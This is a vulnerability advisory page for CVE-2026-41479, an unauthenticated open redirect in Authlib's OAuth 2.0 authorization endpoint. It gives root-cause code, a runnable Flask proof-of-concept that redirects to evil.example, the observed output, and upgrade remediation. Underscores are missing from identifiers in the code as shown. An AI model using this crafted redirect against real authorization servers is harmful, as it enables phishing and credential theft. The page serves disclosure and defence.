CVE-2026-41479: Authlib OAuth 2.0 authorization endpoint open redirects to attacker-controlled redirect_uri on unsupported response_type

Published Jun 8, 2026
·
Updated

Summary Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported responsetype and supplies an attacker-controlled redirecturi.

The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.

It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.

Details The root cause is that AuthorizationServer.getauthorizationgrant() copies the raw request redirecturi into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:

python # authlib/oauth2/rfc6749/authorizationserver.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.responsetype}' is not supported by the server.", request.payload.responsetype, redirecturi=request.payload.redirecturi, )

That error object is later rendered by OAuth2Error.call(). If redirecturi is set, Authlib automatically returns a redirect response to that URI:

# authlib/oauth2/base.py def call(self, uri=None): if self.redirecturi: params = self.getbody() loc = addparamstouri(self.redirecturi, params, self.redirectfragment) return 302, "", [("Location", loc)] return super().call(uri=uri)

This means an unsupported responsetype request can force the authorization server to redirect to an attacker-controlled URL even when:

1. no valid client exists, 2. no grant matched the request, 3. no registered redirecturi was ever checked.

This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.getconsentgrant(...) and then server.handleerrorresponse(...) on OAuth2Error.

Relevant source and documentation references:

- authlib/oauth2/rfc6749/authorizationserver.py - authlib/oauth2/base.py - docs/flask/2/authorization-server.rst - docs/django/2/authorization-server.rst

### PoC

Local test environment:

- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1 - git describe: v1.6.6-104-g68e6ab3f - Python virtualenv: ./.venv - Environment variable: AUTHLIBINSECURETRANSPORT=true

Note: AUTHLIBINSECURETRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS.

Run this exact PoC from the repository root:

export AUTHLIBINSECURETRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flaskoauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as AuthorizationCodeGrant

os.environ["AUTHLIBINSECURETRANSPORT"] = "true"

class AuthorizationCodeGrant(AuthorizationCodeGrant): def saveauthorizationcode(self, code, request): raise RuntimeError("not reached") def queryauthorizationcode(self, code, client): return None def deleteauthorizationcode(self, authorizationcode): pass def authenticateuser(self, authorizationcode): return None

app = Flask(name) app.secretkey = "testing"

server = AuthorizationServer( app, queryclient=lambda clientid: None, savetoken=lambda token, request: None, ) server.registergrant(AuthorizationCodeGrant)

@app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.getconsentgrant(enduser=None) except OAuth2Error as error: return server.handleerrorresponse(request, error) return server.createauthorizationresponse(grant=grant, grantuser=None)

with app.testclient() as c: cases = { "withoutredirecturi": "/oauth/authorize?responsetype=totally-unsupported&state=s1", "withattackerredirecturi": "/oauth/authorize?responsetype=totally- unsupported&redirecturi=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.statuscode, "location": r.headers.get("Location"), "body": r.getdata(astext=True), } print(json.dumps(out, indent=2)) PY

Observed result:

{ "withoutredirecturi": { "status": 400, "location": null, "body": "{\"error\": \"unsupportedresponsetype\", \"errordescription\": \"totally- unsupported\", \"state\": \"s1\"}" }, "withattackerredirecturi": { "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&errordescription=totally-unsupported&state=s1", "body": "" } }

This demonstrates that the only difference between a local error and an external redirect is whether the attacker supplies redirecturi.

The same behavior was locally reproduced with the Django integration using RequestFactory; it returned:

{ "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&errordescription=totally-unsupported&state=s1", "body": "" }

Impact This is an unauthenticated open redirect in an internet-facing authorization endpoint.

Who is impacted:

- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization endpoint flow. - No special feature flag is required beyond running the authorization endpoint itself.

Attacker prerequisites:

- None beyond the ability to send a victim to a crafted authorization URL.

Practical harm:

- Phishing and credential theft by abusing a trusted authorization server domain as a redirector. - Bypass of domain-based allowlists that trust the authorization server's host. - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to reject unregistered redirect URIs before redirecting.

The issue is especially concerning because the redirect happens before client existence and redirect URI legitimacy are established.

Other sources

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.10 and 1.7.1, Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported responsetype and supplies an attacker-controlled redirecturi. The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL. This vulnerability is fixed in 1.6.10 and 1.7.1.

MITRE

Affected Software

4 affected componentsFixes available
pip/authlib=1.7.0
1.7.1
pip/authlib<1.6.10
1.6.10
Authlib Authlib<1.6.10
Authlib Authlib=1.7.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.7.1
  2. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.6.10
  3. Upgrade

    Upgrade authlib/oauth2 authorization server to a version that resolves this vulnerability.

    Fixed in 1.6.10
  4. Upgrade

    Upgrade authlib/oauth2 authorization server to a version that resolves this vulnerability.

    Fixed in 1.7.1

Event History

Jun 8, 2026
Advisory Published
via GitHub·05:52 PM
Data Sourced
via GitHub·05:52 PM
DescriptionSeverityWeaknessAffected Software
Jun 22, 2026
CVE Published
via MITRE·08:35 PM
Data Sourced
via MITRE·08:35 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-41479?

CVE-2026-41479 has a medium severity rating of 5.4.

2

How can I fix CVE-2026-41479?

To fix CVE-2026-41479, ensure that the OAuth 2.0 authorization endpoint validates redirect URIs and restricts unsupported response_type parameters.

3

What software is affected by CVE-2026-41479?

CVE-2026-41479 affects the Authlib library used within Python's pip package manager.

4

What type of vulnerability is CVE-2026-41479?

CVE-2026-41479 is an open redirect vulnerability occurring in Authlib's OAuth 2.0 authorization endpoint.

5

What can an attacker do with CVE-2026-41479?

An attacker can exploit CVE-2026-41479 to redirect users to malicious sites by manipulating the redirect_uri parameter.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203